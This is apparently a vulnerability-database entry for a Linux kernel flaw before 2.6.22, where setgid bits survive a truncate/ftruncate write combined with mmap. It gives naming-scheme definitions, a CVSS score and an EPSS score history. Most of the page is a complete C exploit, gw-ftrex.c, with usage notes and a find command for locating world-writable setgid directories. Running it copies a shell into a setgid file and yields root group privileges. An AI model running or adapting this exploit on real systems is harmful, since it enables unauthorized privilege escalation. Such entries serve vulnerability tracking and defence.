CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable file in a setgid directory through the (1) truncate or (2) ftruncate function in conjunction with memory-mapped I/O.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
16.26%
2025-03-18
–
–
–
–
16.26,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
gw-ftrex.c:
Linux kernel < 2.6.22 open/ftruncate local exploit
by <gat3way at gat3way dot eu>
bug information:
http://osvdb.org/49081
!!!This is for educational purposes only!!!
To use it, you've got to find a sgid directory you've got
permissions to write into (obviously world-writable), e.g:
find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx"
which fortunately is not common those days :)
And also a shell that does not drop sgid privs upon execution (like ash/sash).
E.g:
test:/fileserver/samba$ ls -ld
drwxrwsrwx 2 root root 4096 2008-10-27 16:27.
test:/fileserver/samba$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
test:/fileserver/samba$ /tmp/gw-ftrex
ash shell found!
size=80200
We're evil evil evil!
$ id
uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data)
Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia.
*/
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
int main(int argc, char *argv[])
{
char *buf=malloc(3096*1024); //3mb just to be sure
int a,len;
int fd,fd1;
char *buf1;
int shell=0;
if (stat("/bin/ash",buf)==0)
{
printf("ash shell found!\n");
shell=1;
}
if (shell==0) if (stat("/bin/sash",buf)==0)
{
printf("sash shell found!\n");
shell=1;
}
if (shell==0)
{
printf("no suitable shell found (one that does not drop sgid permissions) :(\n");
exit(2);
}
len=0;
if (shell==1) fd=open("/bin/ash",O_RDONLY);
if (shell==2) fd=open("/bin/sash",O_RDONLY);
while (read(fd,buf+len,1)) len++;
printf("size=%d\n",len);
fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750);
ftruncate(fd1, len);
buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0);
memcpy(buf1,buf,len);
munmap(buf1,len);
close(fd1);close(fd);
free(buf);
printf("We're evil evil evil!\n\n");
execv(".evilsploit", NULL);
}
// milw0rm.com [2008-10-27]
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (including) 2.6.21.7